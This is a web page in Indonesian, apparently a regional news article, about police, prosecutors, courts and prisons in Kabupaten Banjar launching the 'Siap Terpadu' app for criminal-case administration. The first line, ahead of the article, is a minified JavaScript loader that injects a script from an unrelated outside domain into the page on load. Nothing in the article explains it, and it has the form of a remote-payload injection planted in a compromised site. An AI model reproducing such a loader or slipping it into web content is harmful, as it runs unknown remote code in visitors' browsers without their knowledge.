(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Guna meningkatkan layanan hukum pada masyarakat Banjar, lembaga penegak hukum lingkup Kabupaten Banjar melaunching aplikasi Sistem Informasi Administrasi Pidana Terpadu (Siap Terpadu) di Aula Kantor Kejaksaan Negri Kabupaten Banjar, Rabu (13/2).
Kepala Kejaksaan Negeri Kabupaten Banjar Muji Martopo mengatakan, sistem Siap Terpadu ini merupakan aplikasi resmi yang dibuat bersama jajaran kepolisian, kejaksaan, pengadilan dan lembaga pemasyarakatan, guna membantu dan mempermudah layanan. Sistem tersebut akan mampu memonitoring proses administrasi perkara pidana, antara penegak hukum terpadu berbasis teknologi. Yang ujungnya akan memberi manfaat besar bagi masyarakat penegak keadilan di Kabupaten Banjar.
“Sebagaimana tindak lanjut dari coffe morning antara aparat penegak hukum pada akhir 2018 yang lalu, kita sudah wujudkan pada hari ini aplikasinya Siap Terpadu, aplikasi ini merupakan perpaduan pemikiran antara seluruh penegak hukum lingkup Banjar,†akunya.
Lebih jauh Muji mengatakan, dalam aplikasi ini terdiri ada menu kepolisian di antaranya berupa pengambilan sita dan berita, perpanjangan penahanan, daftar pelanggaran tilang, berita acara pemeriksaan tempat tipiring. Sementara Kejaksaan Negeri Banjar berupa perpanjangan penahanan, hingga jadwal sidang. Pengadilan Banjar berupa penerbitan izin besuk dan petikan utusan, sementara lembaga pemasyarakatan berupa daftar izin besuk dan putusan pengadilan.
“Aplikasi ini dimaksudkan untuk sarana pendukung tertibnya akuntansi perkara yang propesional , transparan, efektib dan efisien serta modern. Sehingga kedepan diharapkan aplikasi ini bisa diakses oleh seluruh masyarakat dalam rangka memberikan informasi yang berkaitan dengan proses perkara pidana yang transparan dan akuntable,†jelasnya.
Aplikasi ini juga dipercaya dapat menghemat waktu dan biaya, pengarsipan berkas secara electronic, mempermudah mencari berkas, monitoring pekerja aparat, memperpendek jalur birokasi. Sehingga upaya ini bisa dimanfaatkan para penegak hokum dalam memanfaatkan pelayanan bagi masysarakat Kabupaten Banjar.
“Jadi dalam perkembangannya setiap tiga bulan sekali akan kita adakan evaluasi dan akan dilkukan penyempurnaan sehingga lebih bermanfaat bagi masyarakat,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.